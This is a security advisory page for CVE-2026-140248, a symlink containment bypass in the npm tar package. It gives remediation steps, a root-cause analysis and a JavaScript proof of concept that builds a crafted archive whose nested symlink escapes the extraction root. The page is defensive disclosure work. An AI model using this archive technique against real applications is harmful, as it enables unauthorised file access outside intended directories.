CVE-2026-140248: node-tar Nested Symlink Target Can Escape Vulnerability

HIGH
Advisory Identifier: GHSA-6wwr-g865-f46r
CWE-59
Published
Advisory Summary

CVE-2026-140248 is a HIGH nested symlink target can escape vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting node-tar libraries in the npm ecosystem. The issue involves nested symlink target can escape node-tar extraction root. Remediation is available by upgrading affected packages to version 8.0.0.

CVE-2026-140248 at a Glance

CVE Identifier CVE-2026-140248
GHSA Identifier GHSA-6wwr-g865-f46r
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product node-tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140248

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140248, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary With default `preservePaths: false`, `tar` 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by `..`. The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root. This was reproduced locally on commit `2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb` (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched. ## Root cause `STRIPABSOLUTEPATH` accepts a symlink `linkpath` containing `..` if `path.posix.normalize(path.posix.join(entryDir, linkpath))` appears to stay inside the extraction root (`src/unpack.ts:263-302`). Later, `SYMLINK` derives `parts` using `path.resolve(dirname(entry.absolute), entry.linkpath)` (`src/unpack.ts:640-659`), which also removes `b/..` before `ENSURE_NO_SYMLINK` inspects each component (`src/unpack.ts:679-698`). `LINK` then writes the original unsimplified `entry.linkpath` with `fs.symlink` (`src/unpack.ts:866-880`). For `a/b -> ../x` and `a/c -> b/../..`, the lexical check reduces the second target to the extraction root and never checks `a/b`. Actual filesystem traversal follows `a/b` to `x` first and then processes two parent components, ending in the extraction root's parent. ## Safe local PoC Run from a built checkout of 7.5.22: ```js import { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { Header, extract } from 'tar' const parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-')) const out = join(parent, 'out') mkdirSync(out) writeFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\n') const block = h => { const b = Buffer.alloc(512) new Header(h).encode(b) return b } const input = join(parent, 'input.tar') writeFileSync(input, Buffer.concat([ block({ path: 'x/', type: 'Directory', size: 0 }), block({ path: 'a/', type: 'Directory', size: 0 }), block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }), block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }), Buffer.alloc(1024), ])) const warnings = [] await extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) }) console.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim()) console.log(warnings) // OUTSIDE MARKER // [] ``` The marker is outside `out`; the access passes through a symlink extracted under `out`. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside `out` while extracting a subsequent member; its existing path checks may stop such an entry. ## Impact and suggested fix An attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer. Validate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses `..` after a symlink component. In particular, inspect the unsimplified components before `path.resolve()` removes them. Add a regression case with a symlink component followed by `..`, and assert that the second link is rejected under default options. Credit goes to GitHub user `@mikkel32` as finder/reporter in the published advisory.

CVE-2026-140248 Affected node-tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
≥ 7.5.22
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140248?
CVE-2026-140248 is a security vulnerability in node-tar involving Nested symlink target can escape node-tar extraction root under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which node-tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140248?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140248?
CVE-2026-140248 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-140248?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6wwr-g865-f46r",
  "modified" : "2026-12-02T00:58:18Z",
  "published" : "2026-12-02T00:58:18Z",
  "aliases" : [ "CVE-2026-140248" ],
  "summary" : "node-tar: Nested symlink target can escape node-tar extraction root",
  "details" : "## Summary\n\nWith default `preservePaths: false`, `tar` 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by `..`. The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.\n\nThis was reproduced locally on commit `2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb` (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.\n\n## Root cause\n\n`STRIPABSOLUTEPATH` accepts a symlink `linkpath` containing `..` if `path.posix.normalize(path.posix.join(entryDir, linkpath))` appears to stay inside the extraction root (`src/unpack.ts:263-302`). Later, `SYMLINK` derives `parts` using `path.resolve(dirname(entry.absolute), entry.linkpath)` (`src/unpack.ts:640-659`), which also removes `b/..` before `ENSURE_NO_SYMLINK` inspects each component (`src/unpack.ts:679-698`). `LINK` then writes the original unsimplified `entry.linkpath` with `fs.symlink` (`src/unpack.ts:866-880`).\n\nFor `a/b -> ../x` and `a/c -> b/../..`, the lexical check reduces the second target to the extraction root and never checks `a/b`. Actual filesystem traversal follows `a/b` to `x` first and then processes two parent components, ending in the extraction root's parent.\n\n## Safe local PoC\n\nRun from a built checkout of 7.5.22:\n\n```js\nimport { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'\nimport { tmpdir } from 'node:os'\nimport { join } from 'node:path'\nimport { Header, extract } from 'tar'\n\nconst parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))\nconst out = join(parent, 'out')\nmkdirSync(out)\nwriteFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\\n')\nconst block = h => {\n  const b = Buffer.alloc(512)\n  new Header(h).encode(b)\n  return b\n}\nconst input = join(parent, 'input.tar')\nwriteFileSync(input, Buffer.concat([\n  block({ path: 'x/', type: 'Directory', size: 0 }),\n  block({ path: 'a/', type: 'Directory', size: 0 }),\n  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),\n  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),\n  Buffer.alloc(1024),\n]))\n\nconst warnings = []\nawait extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) })\nconsole.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())\nconsole.log(warnings)\n// OUTSIDE MARKER\n// []\n```\n\nThe marker is outside `out`; the access passes through a symlink extracted under `out`. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside `out` while extracting a subsequent member; its existing path checks may stop such an entry.\n\n## Impact and suggested fix\n\nAn attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.\n\nValidate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses `..` after a symlink component. In particular, inspect the unsimplified components before `path.resolve()` removes them. Add a regression case with a symlink component followed by `..`, and assert that the second link is rejected under default options.\n\nCredit goes to GitHub user `@mikkel32` as finder/reporter in the published advisory.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.5.22"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-6wwr-g865-f46r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140248"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-02T00:58:18Z",
    "nvd_published_at" : "2026-12-01T18:17:29Z"
  }
}